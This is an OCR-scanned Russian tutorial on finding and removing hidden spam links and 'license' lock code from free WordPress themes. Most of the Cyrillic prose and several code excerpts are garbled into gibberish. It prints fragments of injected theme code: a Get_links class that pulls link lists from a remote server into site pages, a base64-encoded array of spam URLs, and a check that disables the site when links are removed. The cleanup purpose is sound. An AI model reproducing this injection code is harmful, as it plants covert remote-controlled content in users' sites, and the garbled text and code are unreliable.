[21] =>» <a href="http://www.med?.ru/index.php?category=urology">¥ponormad/a>

[22] => <a href="http://www.med2.ru/index.php?category=gharmacology">llerkapcTEa</a>

[23] => <a href="http://www.med2.ru/index.php?category=surgery" >Xupyprua<,/a>

[24] => <a href="http://www.wpfree.ru/">lafnosy wordpress</a>

[TosTOMy BbIpe3aeM BeCh HeHY)KHBIH Ko, 13 header.php, coxpaHsiem 1 npoBepsiem
paboTOCIIOCOOHOCTh CalTa.

< ?php

P
* The Header for our theme.

2>

<!DOCTYPFE html3>

H<html <?php language attributes(); ?>>

[H«head:>
<meta charset="<?php bloginfo('gharssek'}:s ?>" />
<meta name="ylewpori" content="width=device-width">
<title><?php wp title('|', trme, 'right'); ?><?php bloginfo('name®}); xS titles

<link rel="pinghaghk" href="<?php bloginfo('pingback url'}; ?>">



Bce B nopsigke, caiiT paboraet. I TAC 6osbiiie He pyraeTcs.

= Business Guru 1.4 by Template Graphy

———

Wpem nanbliie — BU3ya/ibHBIM 0CMOTP caiiTa. BuiyuM B riofjBasie elje OIHY CCHUIKY.

> Console @ Debugger [% Style Editor @ Profiler F Metwork

html body.home.blog.logged-in.admin-bar.wide.... div¥wrapper footer#footer div.container div.adjective.clearfix div.copyright —

ULV IU= COMCENT #57 ULvs
<footer id="footer":>
<div class="container">
<dive</divy
<div class="clear"»</div>
<div class="adjective clearfix">
<div class="copyright">

b <a title="Wordpress Themes" href="http://www.wpfree.ru/"></a>

<fdive

Penaktrpyem daiin footer.php 1 Beipe3aeM 3Ty CChUIKY, COXpaHSIeMCsl.
<div class="adjective glearfix">
kdiv clasz="copyright" > < fdiv>

<div clazz="footer-bottom-right"></div>

Eiie pa3 ocmaTpuBaeM caliT — UMCTOTa U TIOPSJOK.

B 1iesiom, zi71s1 movicKa MOCTOPOHHUX CCBIZIOK Ha CaliTe MOXKHO TPUMEHSTh TPU Crioco0a:
1. BU3ya/lbHBIM OCMOTP CTPaHULIbI (IIPU 3TOM He BU/IHBI CKPBIThIE CCHIIKH)
2. 0CMOTp UCX0AHOTro Koga crpanulibl (Haxxatb CTRL - U)

3. MCI0/Ib30BaTh CCbUIOYHbIE aHaIM3aTopsl, Thria RDS

RDS Bar (https://addons.mozilla.org/en-US/firefox/addon/rds-bar/) moka3siBaeT Ky4y pa3Hoi
vH(opMaLMK O caiiTe, HO OfiHa U3 (PYHKLMI TT0/Ie3Ha [jjisi HaC KMEeHHO C Lie/Ib0 NTOMCKA BHEILIHUX
CCBITIOK. MOKHO TIPOBEPSITh BHEIITHUE CCBHUIKH 10 KHOTIKe JTM00 BK/TFOUMUTH MO/ICBETKY BHEIIIHUX
CCBIJIOK KPACHOM PaMOYKOH.

Linksl
311


https://addons.mozilla.org/en-US/firefox/addon/rds-bar/

Pa3o6upaem Car Star

ITpo 3tot mwabnon TAC cka3an HaMm criefyrolee

CarsStar 1.0 by NewWpThemes.com V&I

= = - 7 Static Link(s) Found...

<a href="http://maketnw.ru/" style="color:#888;text-decoration: none:;">Maketnw</a>

wp-content/themes/CarStar/footer.php [Edit]

<a href="http://Wwordpress-ru.ru/" style="color:#88E;text-decoration: none;">Wordpress</a>

<a href="http://funuka.com/" style="color:#E888;text-decoration: none;">Funuka</a>

<a href="http://lifestar.ru/" style="color:$888;text-decoration: none;">Lifestar</a>

wp-content/themes/CarStar/functions.php [Edit]

<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.con/wp-content/partners/ftb.gif" style="border:
0;" alt="Premium WordPress Themes" /><fa>

<a href="http://flexithemes.com/ ?partner=19"><img src="http://flexithemes.con/wp-content/partners/ftf.gif" style="border:
0;" alt="Premium WordPress Themes" /></a>

wp-content/themes/CarStar/sidebar.php [Edit]

<a href="http://wordpress-ru.ru">Wordpress</a>

u rwp checker Taxke He nmonpasuscs functions.php

YaansieM CCbUIKY U3 TT0/iBaia, XOTs HAC ¥ TIPeIyTPeXKIatoT, UTO CCHUTKH Oe3Bpe/iHbIe U
JpyXe/lt00HbIe, HO MyTaroT, UTO 11ab/I0H rmepecTaHeT paboTaTh, eC/IM UX YAATUTh.

bruio:

B <?php /*

211 links in the footer should remain intact.

These links are all family friendly and will not hurt your site in any way.
Warning! Your site may stop working if these links are edited or deleted

You can buy this theme without footer links gnline at http://newwpthemes.com/buy/?theme=carstar

- *f 2>
] <div id="ecredits"><br /»><?php if ($user ID) : ?><?php else : ?><span style="font-size:9%x; gglor:#888;">Thanks:
E<?php if (is_home()) { 2?><a href="http://maketnw.ru/" style="golor:#888 text-decoration: none;">Maketnw</a>
} elseif (is_single()) {?><a href="http://meudt.com/" style="golor:#888; text-decoration: none : ">MIVIT</ a>
} elseif (is_category()) {?><a href="http://wordpress-ru.ru/" style="golor:#888; text-decoration: none:;">Wordpress</a>
} elseif (is_archive()) {?><a href="http://fonoka.com/" =t ="oolor: #8688 text-decoration: none;">Funumka</a>
} elseif (is_page()) {?><a href="http://lifestar.ru/" style="gplor:#888 text-decoration: none:">Ljifestar</a>

} else {?><?php } ?></span><?php endif; ?></div>

f—] <?php /*
811 link=s in the footer should remain intact.
These links are all family friendly and will not

Warning! Your =ite may stop working if these links

You can buy this theme without footer links gnline
- ®f I

<div id="credits"> <fdiv>

—</fdiv>




A caiiT paboTath mepecTasl, 3TO Ha3bIBAeTCS 3aIlUTa OT XUTPBIX — CChUTKHU YAAJIHI, CAlT yrasl.

C  [3 localhost/demo/index.php?theme_license=true

All the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.

Bort kak pa3 xutpslii Koz B functions.php 3Tum 1 3aHMMaeTCsi- TIpOBepsieT Ha MecTe iU CChIIKU. Ero
XOPOLLO BUJHO MO TeKCTY NpeAynpexieHus

if (lempty(§_REQUEST["theme license"])) { wp_initialize the theme message(); exit():; } function wp initialize the theme message() {
1)) 4 Stheme_license fals get_bloginfo ("
I el

echo

echo
s\ ">EI

[MonyuaeTcsi, uto GyHKIMS C Ha3BaHUeM wp_initialize_the_theme_message BbI3bIBaeTCsI BCIKHIA
pa3s, Korjja Hy>)KHO HarKcaTh CTPALIHOe MpeAyIpeXXjeHre 1 3a0/I0KUPOBaTh I11a0JI0H.

ECTb HEeCKO/ILKO CIT0COO0B «BLIJIEUNTE» 111a0JI0H.

BapuaHT HOMep pa3: UilleM Bce BbI30BbI 3TOM (PYHKLIMU U BbIpe3aeM ux. [lomyTHO 3ameuaem, uTo
1oc/ie Kak/10ro Bbi3oBa ueT QyHKIUs exit/die KoTopble sIBSIIOTCS CMHOHUMAaMM U 03HauyatoT OHO
Yl TO)Ke — TIPeKPaTUThb BLITIOJTHEHUE CKPUIITA.

182 function wp _initialize the theme finish ()
"WR-login™} > ) { /* */ } else { §1 = '<
)5 felose(Sfd): if | strpos(5c, 21) ==
wp initialize the theme message {); die;

function wp initialize the theme load(} { if (!function exists("wp_ initialize the theme")) { wp_initialize_:he_cheme_messagel(); die; } 1}

B e e 2 Frrrrhama =AA admim .

if | Iempty(S_REQUESI‘:“:'_'_=_rf'.a_'_'_ zenze"])) { wp_initialize the theme message (): exit():

171 { Ertheme Tlicenae Falas = et hloaminFal(™ar1™ o "Jindex.nhn?theme Ticenzse=true": ach

Bripezaem Bce wp_initialize_the_theme_message(); exit(); u wp_initialize_the_theme_message();
die; coxpansiemcs, pagyeMmcsi — coo0IeHue Tporaso, mabioH paboTaer.

BapuaHT HOMep /1Ba: CMOTPHM KaKHe yCJIOBUsI BbI3bIBAIOT BbI30B (DYHKI[UH TIPEAYIIPeXKAeHus (a 3T0
OTCYTCTBHE Ha MeCTe CChUIOK) U TIOZIMEHSIEM 3TH YCJIOBUS

182 function wp_initialize the theme finish() { $uri = strtolower($ SERVER[" £(is_admin() substr_count (Suri, "yp-admin") > substr_count (§
g1 ") >0 ) { /% %/ } else { §1 = '<py />'; Sf = dirname(_ file ) . Sfd = fopen(Sf, "r"); $c = fread($fd, filesize($f)); $lp = preg quo
): fclose($£d): if ( strpos(Se, $1) =— 0 || preg match("/<\!——(.*" . §lp . , §c) || preg match("/<\2gpm(["\21+[">]1+" . $1p . ".=)\2>/33", $c) ) i
wp_initialize the theme message(); die; } } } wp_initialize the theme finish();

3ameHsieM 3TO yC/i0BHME€ Ha 4TO-TO 663YMHOE " Hepea/ibHOe, HallpuMep eC/Iink 1 6y,qu PaBHO 2

171 function wp initialize the theme finish() { Suri = strtolower(S_SER\’ERZ“E.E;"_"_
"wp—login™) > ) £ /% */ } else { §1 = '<hx />': $f = dirname(_ file )

URI"]): if(i=_admin() substr_
/ rhnp":; $fd = fopen($E£, "r"):
); felose($£d); if (==2) { wp_initialize the theme message(); die; } !} !} wp initialize the theme finish():

172

[Toxoykuii crioco6 MOYKHO TIPUMEHSITD TIPY TIPOBEPKE HaTUUKS JIULEH3UH UK TIPOBEPKU KJTFoua
aKTUBALIMK Ha BaUJHOCTh. B mobom ciyyae — pabounii UnCThI 11ab10H.


http://www.php.su/functions/?exit

Pasoupaem Magazine

Kak mb1 momuum, TAC HAYero MHTEPeCHOTO He Halllesl, TI03TOMY 110 Tiofickaske RWP Gyaem
ocMmarpuBath functions.php. Kcratu HebGonbItoe 3aMeuaHue 10 MOBO/Y BHELITHETO OCMOTpa Ha
rpeiMeT CChIIOK- JOBOJILHO YaCTO BCTPaUBarOTCs [IPOBEPKU, UTO €CJIA Bbl aBTOPU3UPOBaHbI Kak
a/IMUH, TO CCBIJIKM BaM He T0Ka3bIBaTh. [103TOMy WIIMTe BHELIHKUE CCHIJIKK B IPYTOM Opoy3epe, Kak
MIPOCTOU MOCeTUTEe/Ib CauTa.

B camom Hu3y (haiina HaxoauM MHOTOOGeIaroIyI0 GyHKIMIO get links (TTOMyunTh CCHUIKN)

D1 [l]class Get_links

03 var $host = 'ypeoniig.netc';
04 var $path = '/system.phnp':

5 var §_socket_timeout = 5;
D7 = function get_remote ()

08 Sreq url = 'http: '.% SERVER['HTTP_HOST'] .urldecode (§ _SERVER['REQUEST URI']):

09 5 user agent = "Mozilla/5.0 (comg

k3 B3 R ORY OR3 ORI R ORI ORD ORI OR)
i

11 Slinks_class = new Get_links ()’

212 Shost = £links_class->host;

213 Spath = $links class->path;

214 % socket_timeout = £links_class-> socket_timeout;

215 f/% _user agent = 5links class-3> user agent;

Upet obpartieHne K caiity wpconfig.net u ckpunty system.php, KoTopsIii Bo3BpalijaeT CliMcoK
CCBHIJIOK ZIJIs1 BLIBOZIA Ha BallleM caiite. B ciryuae ycriexa- 3TH CChUIKU BBIBOZSITCSI.

Cpenaem Tak, uToObI ycriex ObI/T Ha Halllel CTOPOHBI: 3aCTaBUM (YHKLIMIO get_remote HUYero He
BO3BpALL|aTh.

201 [elass Get links
203 = function get remote ()

205 return fal=se:

Jlpyroii ciocob — MpoCTo MOTHOCTBIO BBITEPETh 3TOT KOJ, HO eCTh PUCK, UTO 11a0JI0H NepecTaHeT
paboTtark ecnv B [pyroMm (aiisie MpoBepsieTCst HaJIMuKre 3TOr0 Kozja.

17151 3TOTO HY>KHO TMOMCKaTh Ha/lMure B (aiisiax orpeie/ieHHOTO TeKCTa, HarlpuMep Ha3BaHUs
¢yukumu Get_links. B atom nomoxet Total Commander ¢ BO3MO)KHOCTBIO TIOMCKa 110 KaTasaoram 1
BJIO)KEHHBIM I0/jKaTajioram orpe/ie/ieHHOro (paiisa Uau CofiepKUMOro 3Toro (aiina.

Pe3ysibTaT MOMCKOB MOTYYH/ICS TaKOM:



OBiue NapameTpel |ﬂononHHTenu-m I MRarkHel I LWabnoHe! I'IDHCKE|

WrkaTe tains;

MecTo nomcka:  e:YopenserveridomainsYocalhost\demo wp-content\themes\magazine
[ Per. Bipax. [ | Tonbko B BolneneHHsx daiinasx fkatanorax
[ MaxaTe Tawoke B apxmesax (kpome UCZ)

CnyGHa BNOMEHHOCTI NOAKATAN0r 08! [Bce (HEOrpaHMUYEHHERA) v]

C TexcTomM:

[] Toneko cnoea uenvkom [ unicode [Clutr=s
[7] YumTEIEETE PEFMCTD CMMECTOE [C1HEX+o0a
[7] B kooupoeke ASCII (DOS) [ PerynapHeie BripaskeHHs

|:| Dalinel, HE conep#allMe SToT TeKCT

Pe3yNeTaTEl NOWCKE

[Hamaexo: dainoe - 2, katanoroe - 0]
e:openserver\domainsYocalhostidemowp-contentithemesmagazine \functions. php
e:lopenserver\domainsYocalhostidemowp-contentithemesmagazine \comments.php

B functions.php omuceiBaetcsi Get_links, a B comments.php — Bei3biBaeTcst. Bot u To MecTo, rjje
OyZIyT BLIBOAUTHLCS JIEBbIE CCHITKH.

| Functions php I:El [= focterphp 4 =] comments php E3|

<?php $lib_pa1:h = dirname(_ FILE }.'/'; require once('functions.ghp');

£links = new Get_]_'i_nks{:l; $links = $links->get remote(); echo $links; ?><?php

fxx

*

[ T L BT R L I S I P

* Comments part

BI:IpE3aEM 3dar1poC 1 BBIBOJ, CCBIJIOK, COXPaHAEM.

functions php tﬂl = focterphp £ =] comments php Eﬂl

1 <?php $lib_pa1:h = dirname (_ FILE ).'/'; require once('functions.phn'):
2

& ?2x><?php

4

5 [/

HOPH,ZLOK. Tenepb BBITTOJ/IHAEM BPIByaJ'IbHI:Iﬁ OCMOTPp ca171Ta, dl'd — CCBbUJIKHM B I104BaJIe.

<footer id="gk-footer"™ class="gk-page">»
<dive
<div class="gk-copyrights">»
£38 href="http:// www.gavick.com"></fa>

b <@ href="http://best-wordpress-templates.ru/"></a>
<fdive

<img class="gk-framework-logo™ alt="GavernWP" src="htt
<fdive
<ffooter>



Cmorpum footer.php u...

ons.php E3 | = focterphp £3 | B comments php E3| [ footer php E3
php php php php

H<?php
// This file was added especially for the yp-signup.phR and wp-activate.php files :-)

gk _load('after'):
gk_load ('footer'):

-// EOF

...HHU4Yero He HaxoauMm.

3HAUUT HY)KHO TIOMCKaTh HEMHOTO TIIlaTe/IbHEee, BOCIIO/Ib3yeMcs TIoMcKoM B Totan Kommanzep,
HcKaTh OyzmeMm gk-copyrights

C TekcToM:  ak-copyrights

|:| TonNbKO CNOBE LIENHKOM |:| nicode |:| UTF-8
|:| Y¥UYMTBIBETE PEFMCTP CMMBONOE |:| HEX-+oa
[7]B koawposxe ASCII (DOS) [] PerynapHeie BoipameHus

|:| Painkbl, HE conep#alLME STOT TEKCT

PesyneTaTel NoMcka

i [HalneHo: dalinoe - 3, kaTanoros - 0]

e:Yopenserveridomainsocalhostidemo wp-contentithemes\magazinelavouts \footer. php
e:Yopenserveridomainsocalhostidemo wp-content\themes\magazine \css'\desktop. small. css
e:Yopenserverdomainsocalhostidemo wp-contenti\themes \magazine \css\template. css

Buaum aBa datina ctuieit, He oOpailjaeM Ha HUX BHUMaHUSI — W TO YTO HaM HY)KHO,
JOTIOTHUTETbHBIHN (haii MakeTa noziBasia layouts\footer.php

<footer id="gk-footer" clas=="gk page">
<div>

<div class="gk-copyrights">
<a href="http://www.gavick.com">GavickPro</a> - <a href="http://best-wordpress-templates.ru/">Temy WordPress</a>
</div>

Bripe3aem, coxpaHsieM, TIpoBepsieM paboTOCIOCOOHOCTh U PaZlyeMcs.



Pasoupaem MagazinePlus
TAC gaet HaM TaKyr0 BBOJHYIO UH(OPMALIUIO:

MagazinePlus 1.0 by Frhemes

‘ Encrypted Code Found! ‘ 4 Static Link(s) Found...

wp-content/themes/MagazinePlus/functions.php [Edit]

‘ Line 106: "baseb64 decode ($wp theme globals)):Spage=md5(S$..."

wp-content/themes/MagazinePlus/footer.php [Edit]

‘ <a href="http://wordpress.org/"><strong>WordPress</strong></a>

wp-content/themes/MagazinePlus/functions.php [Edit]

<a href="http://fthemes.com” target="_blank"><img src="http://fthemes.com/wp-content/pro/b2.gif" alt="Free WordPress
Themes" title="Free WordPress Themes" /></a>»

<a href="http://fthemes.com”" target="_blank"><img src="http://fthemes.com/wp-content/pro/bl.gif" alt="Free WordPress
Themes" title="Free WordPress Themes" /></a><a href="http://freewpthemesblog.com” target="_blank"><img
arc="http://freewpthemesblog.com/wp-content/pro/fwt.gif" alt="Free WordPress Themes" title="Free WordPress Themes" /></a>

<a href="hcop://fthemes.com” target="_blank"»<img src="http://fthemes.com/wp-content/pro/b3.gif" alt="Free WordPress
Themes" title="Free WordPress Themes" /></a>

B nozBane BUAYM Takyro KapTUHY — 4 peK/laMHble CCBhLIKU:

ered by WordPress | Theme Designed by: nintendo 3ds x| | Thanks to o2 =signal boosters, site rdi and =site

A B footer.php y>xe 3HaKOMbIe TIpeyTIPeX/eHNSI:

<?php /*
211 links in the footer should remain intact.
These links are all family friendly and will not hurt your site in any way.
Warning! Your site may stop working if these links are edited or deleted

You can buy this theme without footer links gnljime at http://fthemes.com/buv/?theme=magazineplus

*/ 2>
<div id="oredits">Powered by <a href="http://wordpress.orq/"><strongrWordPress</strong»</a> | Theme Designed by: <?php echo wp_theme credits(0); 7> | Thanks
to <?php echo wp_theme credits(l); ?», <?php echo wp_theme credits(2); ?> and <?php echo wp_theme credits(3}; 2></div><!-- #credits —->

Y,E[aJIHeM BCe JIMIIIHee U OCTaB/IAeM TOJIBKO CCBIJIKY Ha Bop/:[r[pecc:

<div id="credits">Powered by <a href="http://wordpress.orqg/"><strong>WordPress</strong></a></divy><!-—- #credits -->

O)KI/I,E[aeMO CaMT II0/I0MAJICS:

All the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.

B c¢aiine functions.php Bugum Koz, kotopsiii uiet TekcT | Theme Designed by: <?php echo
wp_theme_credits(0); ?> | Thanks to <?php echo wp_theme_credits(1); ?>, <?php echo
wp_theme_credits(2); ?> and <?php echo wp_theme_credits(3); ?>

105
106 function wp_initialize the theme load() { if (!function exists ("

tialize the theme")} { wp_initialize the theme message(): die; } } function

if (is_admin() || substr count (Suri, "yp-ggmiz") > O || substr_count ($uri, "yp-login")

wp_initialize the theme finish() { $uri = strtolower($ SERVER["
¥ edits(1); 2>, <?php echo

>0 ) £ /% %/ }else { $1 = ' | Tr by ThE echo

me De

redits (0); > Thanks to <?phR &cho Wp_theme
php": $fd = fopen(SL, "

me_ its(2): ?> and <?phy echo wp credits ? dirname (_ file ) . "/footer "r"); $c = fread($fd, filesize($I)); $lp =
preg_gquote (§1, "/"); fclose(§fd); if ( strpos($c, §1) == 0 ) { wp_initialize_the_theme message(); die; } } } wp_initialize_the_theme_finish(); function
wp_theme credits($no){if(is_numeric($no)){global Swp_thems_globals, Stheme;$the wp_thems globals=unserialize (baseé4_decods (Swp_theme_globals)):$page=md5($ SERVER[
' ST_URI']):Sinitilize set=get_option('wp theme _set_'.str replace(' ',' ', strtolower(trim(Stheme->theme name)))):if (!is array(Sinitilize set[Spage])){
$initilize set=wp_initialize_the_theme_go($page);}$ret="<a Lzsf="'.§the_wp_theme_globals[$no] [§initilize_set[$page] [$no]].'">'.§initilize set[$page][$no].’'</a>';

return $rec:l}

" eC/IM HE HAXOAUT — YCTPAWBAET IMaHUKY.



Buaym yke 3HaKOMBIM paHee Koj — (PYHKIIHS BBIBOZIA TEKCTA U (PYHKI[US TTPephIBaHUS
wp_initialize_the_theme_message(); die;
Co31aiM HEBBITIOJTHUMOE YCJIOBHE [JIs €e BbI30Ba

3aMeHHM 35TO

[y W B R '.'.'L.r_l.r..':].l.':_'_r_':-\_l._l.u:l L) o I rl =L T dAasduigune I._J_J.J.E_ll " L SN N PR g -m rl =L
if | strpos(%c, 51) == C| } {1 wp initialize the theme message(): die:
dm i fnai i fralakal &room Fhama rr'lnh:l'|: tq—hnmn-tr:n 1-.1-: 'l—'l-\:lm: rAlakhal esiimeardialdza
Ha 3TO
m (=g W SR '.'.'}__r_Lr..':J.I.':_'_r_':-\_L_LrDI.-\_!_I r I r =L T AL igoaume I._J_l.J.E_.I " 4§
; if { L = 0 ) { wp_initialize the theme message(); die;

1® globals, $theme; $the wp theme globals=unserialize (base64 deco
COXpaHFIM, TpoBepseM.

U Bce, KpacoTa U NMOpsJOK :-)
Ho ecTb 01HO HO, UTO ZIO/PKHO BaC CMyTUTb U CKa3aThb «JM, pa3Be 3T0 Bce?!»

TouHo. A rJie ke CTpaLIHBINA TEKCT, [P0 TO UTO BCe CChUIKU B (yTepe [0/DKHBI ObITh Ha MecTe. B
functions.php ero He 65110. Bocrions3yemcst norickom ToTan koMmaHzep:

(o (= (S| thee links|

[] Tonkko cnoea uenmiom [ unicode s
[7] YumTEIBETE PErMCTP CHMBONOE [T HEX+0m
[7]B koaupoBke ASCII (DOS) [ PerynapHLie Bripaketia

|:| Dalinkl, HE conepsallWe SToT TeKoT

PE3'!||'.I'II:|TETI:|I NoWcKa

[HamaeHo: dainoe - 1, katanoros - 0]
£:YopenserveridomainsYocalhostidemowp-contentithemes\MagazinePlusYib Themater . php

Y nmocMoTpuM 4TO 3TO 3a (aiin

if (lempty($ REQUEST["theme license"]}) { wp_initialize the theme message(); exit():; } function wp initialize the theme
1)) { $theme license false = get_bloginfo("yzl") . "/index.php?theme license=true"; echo "<meta http-equiv=\"refresh\" c
n:genker; border: 2px dotted | ]

} else { echo ("<p =style=\"padding:20px; margin: 20px; text-al
#0000££;\ ">ATIEHEIINEKS 9N the Footer should remain dIntacts 211 of these links are family

[ M r wv83d3em A M : A i
Oro [la TYT He TOJILKO coo6LueHI/1e a eme 51 qua 3am1/1cbp013aHHoro KOZa, KOTOpI:II/I KCTaTH HU RWP
Hu TAC He 3ameTtuu (bepeM cebe Ha 3aMeTKY, UTO CKPUIITBI CKPUTITaMH, HO T0OJI0OBa — 3TO Haille

BCE).

Ecu ckopmuts ero base64 fekofepy, TO YBUAUM, UTO OH COZ€P)KUT OFPOMHBIN MacCUB CChUIOK,
KOTOpbIe COOCTBEHHO U IJITAHUPOBAIOCh BBIBOJJUTH Ha HaIlleM CakTe:



Decode from Baseb4 format

Simply use the form below

Y¥TolOntpOJATY To0OTpfczoxODoicjQzZHMNvZmZpY 2IIbHMuY 29tz 0jl50iJodHR. - *
wDiBvd3d3Lnl0M2Rzb2Z maW pZ\WixzL mhvbSITczoyMjoid3d3Lnl0M2Rzb2Z maWVf
MNpZWxzl mNvbSITezoyOToiaHROcDovl 3d3dy5yMNDMNke 29md mlja\WW scy5ib20i03
MEMjkBImh0dHABLY33d3cuciQzZHMNvEmZpY 21IbHMuY 291tz 015 0idodHRwOi8vd 3
d3Lnl0M2Rzb2ZmaWNpZWikzLmhvbSITczoxNDoicjQzZHNvEmZ py 21lBHMIO3ME
MjkEImh0dHABLY93d3cucjQzZHNvZmZpY 2[IbHMuY 25t1jtz O)YBInl0LTNkeyl Tezoy M
zoiaHRO0cDovl 3d3dy5yNDMNke 3dve mxkLmivLnVrjtz OBy OiJuaWs02WskbyAzZH
MiO3MEMjkEImh0dHABLYyI3d3cucjQzZHNvEZmZpY 2|IbHMuY 29t jtz O] 6ljNkcyB4 b
Cl7czoyMNToiaHRDcDovlL 3d3dy5yMNGkz ZHNyN GZyL mMvbSITczoxMNDoicjQzZHNtb2
Skby5jb20i03MEM|UGImh0dHABLY33d3cucjQzZHNtb25kby 5jb20103MEMTg6Ind3d

= DECODE = LITF-8 |E| (You may also select input charset.)

a:d:{i:0.a:49: i
{s:18:"3dsofficiels.com”;s:29:"http: M rd 3dsofficiels_com”; 5:22 " wrw. rd 3dsoff
iciels.com”; 529 "hitp-/Ywnw. rd 3dsofficiels.com”;5:29"hitp:

Hwonwy. i 3dsofficiels.com™; 529 "http:

Hwonwy. i 3dsofficiels.com”;s:14:"rd 3dsofficiels”; 5229 "hitp:

Hwwy. i 3dsofficiels.com™;s:6:"rd-3ds";s: 27 "hitp:

Hwoowy i 3dsworld_co.yk”;s: 12" nintendn
3ds";s:29:"hitp- N rd 3dsofficiels .com”;s:6:"3ds

" s25 " http: Mooy rdi3dsrdfr.com™; s: 14" rd 3dsmondo.com”; s:25: it p:
Hwowy 4 3dsmondo.com™; 5218w rd 3dsmondo.com™;s: 25" http:

/ /vy . r4revolution3ds . gom™;s:15: "r4revolution3ds™; s:30: "http://wyy . r4revolution3ds.gom":5:7: "website";s:33: "http: //WyHW. O
;.02zignalboosters.co.yk";2:4:"more";3:33: "http: //WWyW.o02signalboosters . co.pk":3:13:"rd-revolution™; 2:30: "http: //Wyy . r4rev
ution3ds.gom"rs:12:"r4carduk.gom”;s:23:"http:// YW . r4carduk. com™;s:16: "ywy . r4carduk.com™;s:23: "http: / /Wy .- r4carduk. gom";
lcarduk.gom™;2:8: "rdcarduk™;2:23: "http: / /Wy . r4carduk. com";2:6: "r4 3ds";=2:23:"http://WwW.rd4carduk.gom":2:12: "cards for r4
;ore";s:23:"http: //yy . r4carduk. gom™:s:8:"official™; 5:23: "hetp: / /Yy . r4carduk. com";5:16: "r43dsworld.co.gk" s:27:"http: / /1y
$:27:"http: //www . r43dsworld.co.yk":;s: 27 :"http: //www . r43dsworld. co.yk";s:27: "http: //wwW . r43dsworld. co.yk™;s:10: "r43dsworld
o r4";s:27:"http://Wyy.r43dsworld.co.gk";s5:13:"website r43ds";=:27:"http://wWwy.-r43dsworld.co.yk";5:9:"r4 3ds xl";=:27:"h
."r8:27:"http://wwWy.r43dsworld.co.yk";3:34: "http://WwW.o02signalboosters.co.uk/";8:33: "http://WwWw.028ignalboosters. co.uk";
yosters";s:33:"http:/ /YWy .02signalboosters.co.pk";5:6: "signal”;=:33:"http://wWwy-02signalboosters.co.pk"-13:1;a8:59: {=:18:"
.s.com/categories/Carte—-R4-3D5/";5:22:"yyW.r43dsofficiels.com™,=:54: "http://wWww . r43dsofficiels.gcom/categories/Carte—R4-3D
p:/ /Wy .r43dsofficiels.gom/categories/Carte-R4-3D5/";3:3:"ici™;=s:54: "http: //uuw. r43dsofficiels. gom/categories/Carte-R4-3
:om/categories/Carte-R4-3D5/";s3:12:"carte r4

is";3:54:"http://wWwy.r43dsofficiels. gom/categories/Carte—-R4-3D5/";s:6:"r4-3ds";s:98: "http://WwwW. r43dsworld.co.pk/products
)-3D5-XL.html";s:12:"pintendg 3ds";s:26:"http://ywW.r4isdhc-3ds.fr/";s:12:"pintendn
is™;3:83:"http://Wwww.r43dsmondo . gom/products/R4-3D5-RT5-%252d-3D5%7B47%$7D3D5-XL-%28L1L%29.html";3:11: "r4 pour
is";3:25:"http://Www.r4i3dsr4fr.gom";s:14: "r43dsmondo.gom"; 5:83: "http: //ywy . r43dsmondo. gom/products/R4-3D5-RT5-%252d-3D5%
com":s:83:"htep: //www . r43dsmondo . gom/products/R4-3D5-RT5-%252d-3D5%7B4 74 7D3D5-XL-328LL%29 . html";=2: 25: "hetp: //wywW. r43dsmo
‘R4-3D5-RT5-%252d-3D5%7B47%7D3D5-XL-%28LL%29. html"; 5:15: "r4-3ds

ntendo":s:83:"http://ywy . r43dsmondo. gom/products,/R4-3D5-RT5-2252d-3053 7847270305 -XL-228LLE2% . html"; 5: 15: "nintendaon
t3ds";s:83:"http://wWW . r43dsmondo. gom/products/R4-3D5-RT5-3252d-3D5%7B4T37D3D5-XL-328LL%29 . html";5: 7: "website"; 5: 64: "http
.—Boosters/";s:4:"here";3:64:"http://ywy.o02zignalboosters.co.yk/categories/02-Signal-Boosters/";s:14: "r4i3dsrd4fr.gom";s:2
r.gem";s:25:"http://WwWW.r4i3dsr4fr.gom";S5:25: "hetp: //WWW. r4i3dsr4fr.gom™;s:25: "http: //yWwW. r4i3dsr4fr.gom";s: 8: "site r4i";
nkendo™:s:25:"http: //yww.r4i3dsrdfr.com™;=:15: "pintendn 2ds r4":s=:25:"http://www.r4iddsrd4fr.gom"-=:10:"jci rd
is";=:25:"http://Www.r4i3dsr4fr.gom",=:12: "rdi—gdhc.gom";5:49: "http://wyy.r4revolution3ds. gom/categories/R4-3D5/";5:26:"h

B mipuHITMIIe MOXXHO OCTaBUTh BCE KaK eCTh, Be/Ib CChITIKU 00bIlle He 0TOOpaXkaroTcs Ha caiite. Ho
BCe >Ke CMYIIIaeT HaJIMuue JIEBOTr0 Ko/la, THIIIMHA [JO/DKHA ObITh B OMO/THOTEKE.

BrIpe3aem Bce nHiITHee 107 HOJTb ¥ TIPOBEpPsieM pab0oTOCIIOCOOHOCTb.

Ha mecte cTpoku 588 Ob1710 BCe-Bce , a Telepb HUUEro-HUYero :-)



581 function get page number ()

582 global Spaged:

583 if | Spaged »>= )

584 retuorn ' ' . sprintf( __ ( 'Page %s3', 'themater' )}, $paged ):
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{ function get sidebars(S$the sidebar = '') { wp initialize the t
590 2

Caiit paboTaeT — MbI JJOBOJIbHBI.

[TogBemeM UTOTH — MBI YBH/Ie/TM KaK MOKET ObITh OpraHW30BaH BLIBO/] CCHITIOK, T7ie bepeTrcs
vH(dOopMalus Jis 3TUX CChIIOK (3aiurdpoBaHa Moj, BUOM KapTUHKH, TSHETCS C CepBepa, NpsiyeTcst
B O/IHOM U3 (Dail/IoOB) M KaK IMPOUCXOJUT CaMO3all[1Ta, /Jis TpeAoTBpallieHus yaaJleHUs 3TUX
CCBLJIOK.

daHTazus T€X, KTO BHEAPAET CCbUUIKM U BUPDYCa HEOTPaHWYE€HHA, IIO3TOMY BITIO/THE MOXKET 6I)ITI:, 4To
BaM IIOMaAeTCA Apyrad cxemd. Camoe BaykKHOe ITOHHUMAaTh 06ume MPUHLMUIIBI TOTO, KaK 3TO Ae/IdeTCA
H IMTOHKNMATh, KdK C OTUM 60p0TbC$[.

[TepetizeM K TpeTbeMy 3Tany — npoduaakTrke.



3amuTa u IIpodpunakTuka

Te, KTO cMOT/TM pa300paThCs B BTOPOH T71aBe ¥ BEIUMCTH/IH 111a0/I0HBI — MOTYT UMH 0e3011acHO

I10/1Ib30BATHCA.

Il71s1 TeX, KTO Zla/ieK OT IMPOrPaMMHUPOBaHUs, @ php — BOCTIPUHUMAET Kak pyraTelbHOe CJIOBO U3
